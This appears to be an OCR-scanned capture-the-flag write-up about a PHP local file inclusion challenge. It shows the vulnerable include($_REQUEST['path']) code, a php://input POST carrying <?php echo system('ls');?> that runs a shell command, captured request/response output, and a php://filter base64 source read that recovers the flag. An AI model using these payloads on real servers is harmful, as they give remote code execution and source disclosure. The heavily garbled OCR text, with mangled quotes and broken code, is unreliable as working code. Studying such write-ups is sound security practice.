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<?php

show_source(_ FILE )

if(isset($_REQUEST[ path’ 1)) {
include ($_REQUEST[ path’ 1) ;

Jelse{
include ’ phpinfo. php’ ) ;
}
Php
System Linux 33b3810424c3 3.10.0-514.26.2.l7.x86_64 #1 SMP Tue Jul 4 15:04:05 UTC 2017 xB6_64
Build Date Dec 13 2016 00:04:38
Configure Command fhome/buildozerfaports/main/php5/src/php-5.6.29/configure '--build=x86_64-alpine-linux-musl® '--

B M 2path=php://input

host=x86_64-alpine-linux-musl’ '--prefix=/usr’ '--sysconfdir=fetc/php3’ '--localstatedir=/var’ "--with-
layout=GNU" '--with-config-file-path=/etc/php5' "--with-config-file-scan-dir=/etc/php5/conf.d' *--enable-
inline-optimization' '--disable-debug' '--disable-rpath’ '--disable-static' --enable-shared" '--mandir=/usr
fsharefman’ "--with-pic’ "--disable-cli’ '--with-apxs2' --enable-bemath=shared’ "--with-bz2=shared" '--
enable-calendar=shared’ '--with-cdb' '--enable-ctype=shared’ '--with-curl=shared" "--enable-dba=shared
*--with-dbd=shared' "--enable-dom=shared" "--with-enchant=shared' '--enable-exif=shared’ '--with-
freetype-dir=shared,/usr' "--enable-ftp=shared' '--with-gd=shared" '--enable-gd-native-ttf' "--with-
gdbm=shared" '--with-gettext=shared’ '--with-gmp=shared" '--with-iconv=shared’ '--with-icu-dir=fusr' "--
with-imap=shared" '--with-imap-ssl=shared' '--enable-intl=shared’ '--with-jpeg-dir=shared,fusr' '--
enable-json=shared’ '--with-ldap=shared"' '--enable-libxml=shared' '--enable-mbregex' *--enable-
mbstring=all' '--with-mcrypt=shared' --with-mysql=shared, mysqlnd" '--with-mysql-sock=/var
frun/mysqgld/mysgld.sock’ '--with-mysgli=shared,mysqlnd' '--with-openssl=shared' '--with-pcre-
regex=/usr' '--enable-pcntl=shared" '--enable-pdo=shared’ '--with-pdo-mysql=shared,mysqglnd' - -with-
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postZ# <?php echo system('1ls');?> FIH X HRLBEE:

Request

Params | Headers | Hex | XML

Response

E Headers | Hex

POST /path=php://input HTTE/L. 1 + HTTP/1. 1 200 OK

Host: Server: nginx/1.10.2
3d9bd2ad45d44661904105f298£9d981d8ch93dbead64dd2. game. ich Date: Sun, 30 Sep 2018 05:39:05 GMT

i com Content-Type: text/html; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; =64;: Content-Length: 8§15

rv:62.0) Gecko/20100101 Firefox/62.0 Cormection: close

Accept: X-Powsred-By: PHP/5. 6. 29

text/html, application/xhtml+xzml, application/zml;q=0. 9, */*

1q=0. 8 <code> <span style="color: #0000007>
Accept-Language: <span style="color: #0000BB”>&1t ;?php&nbsp;<br
zh-CN, zh;q=0. &, 2h-TW;q=0. 7, zh-HK ;q=0. 5, en-US;q=0. 3, en;q=0 />show_source</span><span style="color: #007700"> (</span><span

.2

Accept-Encoding: gzip, deflate
Connection: close
Upgrade—Insecure-Requests: 1
Content-Length: 26

<?php echo system('1s’):?>

RIEANFERCM: dle345aae.php

style="color: #0000BB">_ FILE_ </span><{span style="color:
#0077007>) ;<br /»if (isset ({/span><span style="color:

#0000BB” >$_REQUEST</span><span stvle="color: #007700"> [</span><span
style="color: #DD0O000">" path’ </span><span style="color:
#0077007>1)) {<br />&nbsp ;&nbsp ;&nbsp ;&nbsp ; include (</span> <span
style="color: #0000BB”>$_REQUEST</spar><span style="color:
#0077007> [</span><span style="color: #DD0000">" path’ </span><span
style="color: #0077007>1) ;<br />}else{<br

/>8mbsp ;&nbsp ;&nbsp ;&nbsp ;include (</span> <span style="color:
#DD0O000">" phpinfo. php’ </span><span style="color: #0077007>) ;<br
/>}<br /></span>

</span>

</code>dle345aae. php

index. php

phpinfo. php

phpinfo. phpl
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?path=php://filter/read=convert.base64-encode/resource=dle345aae.php
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<{?php

show_source(_ FILE ) :

if (isset (§_REQUEST[ path' 1)) {
include ($_REQUEST[ path’]);

telsed
include ( phpinfo. php’ ) ;
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<7php
$flag="flag|0efcf135-cfe1-4189-0451-abfe3edcc1ar}”

bingo
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